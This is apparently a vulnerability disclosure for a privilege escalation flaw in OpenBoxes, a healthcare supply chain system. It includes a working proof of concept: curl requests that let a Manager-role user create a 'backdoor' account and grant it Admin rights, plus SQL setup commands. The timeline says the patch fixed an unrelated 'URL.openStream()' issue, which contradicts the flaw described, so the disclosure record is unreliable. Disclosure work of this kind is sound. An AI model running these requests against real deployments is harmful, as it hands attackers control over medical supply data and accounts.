A Privilege Escalation vulnerability has been identified in OpenBoxes, an open-source supply chain management system used by healthcare and humanitarian organizations. This vulnerability allows users with Manager role (a non-admin role) to escalate their privileges to Admin, potentially leading to:
- Full administrative access to the system
- Creation of persistent backdoor admin accounts
- Access to all user data and system settings
- Ability to compromise other user accounts
Key Finding: Manager role users, who are intended to only manage inventory and shipments, can create new users and assign them Admin privileges. This bypasses the intended role hierarchy and grants unauthorized administrative access.
- Version: OpenBoxes v0.9.7 and earlier
- Docker Image:
ghcr.io/openboxes/openboxes:0.97
| Role | Level | Description |
|---|---|---|
| ROLE_SUPERUSER | 0 | Highest privilege |
| ROLE_ADMIN | 1 | Administrator - full system access |
| ROLE_MANAGER | 2 | Non-admin, manages inventory/shipments |
| ROLE_ASSISTANT | 3 | Limited access |
| ROLE_BROWSER | 4 | Read-only, lowest authenticated role |
Important: Manager is a commonly assigned role for staff who manage inventory, shipments, and orders - not system administrators. They should NOT have access to user management functions.
| Step | Action | Required Role | Endpoint |
|---|---|---|---|
| 1 | Authenticate | Manager | POST /auth/handleLogin |
| 2 | Create new user | Manager | POST /user/save |
| 3 | Assign ADMIN role | Manager | POST /user/update/{id} |
| 4 | Login as new admin | - | POST /auth/handleLogin |
Location: grails-app/controllers/org/pih/warehouse/RoleInterceptor.groovy
Vulnerable Configuration (lines 19-35, 44-53):
// Actions that require Manager role (includes save/update)
def static changeActions = [
'delete', 'create', 'add', 'process', 'save', 'update',
'importData', 'receive', 'showRecordInventory', 'withdraw',
'cancel', 'change', 'toggle', 'exportAsCsv', 'importOutboundStockMovement'
]
// Actions that require Admin role - MISSING user/save and user/update
def static adminActions = [
'product': ['create'],
'person': ['list'],
'user': ['list'], // Only 'list' requires admin!
'location': ['edit'],
// ... user/save and user/update are NOT here
]Root Cause: The user/save and user/update actions only require ROLE_MANAGER (via changeActions), but should require ROLE_ADMIN. The UI correctly hides user management from Managers, but the endpoints are directly accessible.
Location: grails-app/controllers/org/pih/warehouse/user/UserController.groovy
The save and update actions do not validate whether the current user has permission to assign specific roles. A Manager can assign ROLE_ADMIN to any user they create.
static Boolean needManager(controllerName, actionName) {
def isChangeAction = changeActions.any {
actionName?.startsWith(it)
}
def isWorkflow = controllerName?.contains("Workflow")
def isChangeController = changeControllers?.contains(controllerName)
def isManagerAction = managerActions[controllerName]?.contains(actionName)
return isChangeAction || isWorkflow || isChangeController || isManagerAction
}| Endpoint | Matches | Required Role | Should Require |
|---|---|---|---|
| user/list | adminActions['user'] | Admin | Admin ✓ |
| user/save | changeActions ('save') | Manager | Admin ✗ |
| user/update | changeActions ('update') | Manager | Admin ✗ |
Start OpenBoxes using Docker Compose:
cd docker
sudo docker compose up -dVerify containers are running:
sudo docker psExpected output:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxxxx nginx:1.13 "nginx -g 'daemon of…" Up (healthy) 0.0.0.0:80->80/tcp
xxxxxxxxx ghcr.io/openboxes/openboxes:latest "java -Dgrails.env=p…" Up (healthy) 0.0.0.0:8080->8080/tcp
xxxxxxxxx mariadb:10 "docker-entrypoint.s…" Up (healthy) 3306/tcp
sudo docker exec openboxes-db mysql -u openboxes -popenboxes openboxes -e "
-- Create Manager user
INSERT INTO person (id, version, date_created, last_updated, first_name, last_name, email, active)
VALUES ('manager-user-001', 0, NOW(), NOW(), 'Manager', 'User', 'manager@test.com', 1)
ON DUPLICATE KEY UPDATE first_name=first_name;
INSERT INTO user (id, username, password)
VALUES ('manager-user-001', 'manageruser', 'password')
ON DUPLICATE KEY UPDATE username=username;
INSERT IGNORE INTO user_role (user_id, role_id)
SELECT 'manager-user-001', id FROM role WHERE role_type = 'ROLE_MANAGER';
-- Verify
SELECT u.username, r.role_type FROM user u
JOIN user_role ur ON u.id = ur.user_id
JOIN role r ON ur.role_id = r.id
WHERE u.username = 'manageruser';
"Expected output:
username role_type
manageruser ROLE_MANAGER
# Login as Manager
curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
"http://localhost:8080/openboxes/auth/login" > /dev/null
curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
-X POST "http://localhost:8080/openboxes/auth/handleLogin" \
-d "username=manageruser&password=password" -L -o /dev/null
curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
"http://localhost:8080/openboxes/dashboard/chooseLocation/1" -L -o /dev/null
# Verify Manager cannot access user list (403)
curl -s -b /tmp/cookies.txt \
"http://localhost:8080/openboxes/user/list" -w "%{http_code}" -o /dev/null
# Output: 302 (redirect to forbidden)
# But Manager CAN create users
curl -s -b /tmp/cookies.txt -X POST \
"http://localhost:8080/openboxes/user/save" \
-d "username=backdoor&firstName=Back&lastName=Door&email=backdoor@test.com&password=Test123!&passwordConfirm=Test123!&active=on" \
-w "\nRedirect: %{redirect_url}\n"
# Output: Redirect to /user/edit/{new_user_id}
# And assign ADMIN role
curl -s -b /tmp/cookies.txt -X POST \
"http://localhost:8080/openboxes/user/update/{user_id}" \
-d "id={user_id}&username=backdoor&firstName=Back&lastName=Door&email=backdoor@test.com&roles=1&active=on"# Full exploit
python3 poc.py --url http://localhost:8080/openboxes -u manageruser -p password| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Exploitable over HTTP |
| Attack Complexity | Low | Simple HTTP requests |
| Privileges Required | Low | Manager role (non-admin) |
| User Interaction | None | No victim interaction needed |
| Scope | Unchanged | Stays within application |
| Confidentiality | High | Full access to all data |
| Integrity | High | Can modify any data |
| Availability | High | Can disable accounts |
Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OpenBoxes is used by healthcare and humanitarian organizations including Partners In Health. Compromise could lead to:
- Unauthorized access to sensitive healthcare supply chain data
- Manipulation of inventory records affecting medical supply delivery
- Compliance violations (HIPAA, GDPR) due to unauthorized access
- Service disruption affecting humanitarian aid distribution
- OpenBoxes GitHub: https://github.com/openboxes/openboxes
- CWE-269: Improper Privilege Management: https://cwe.mitre.org/data/definitions/269.html
- OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
| Date | Event |
|---|---|
| January 11, 2026 | Vulnerability discovered and reported to the OpenBoxes maintainers. |
| February 2, 2026 | Vulnerability acknowledged by the development team. |
| June 13, 2026 | Security patch officially released, fixing the unvalidated URL.openStream() call. |
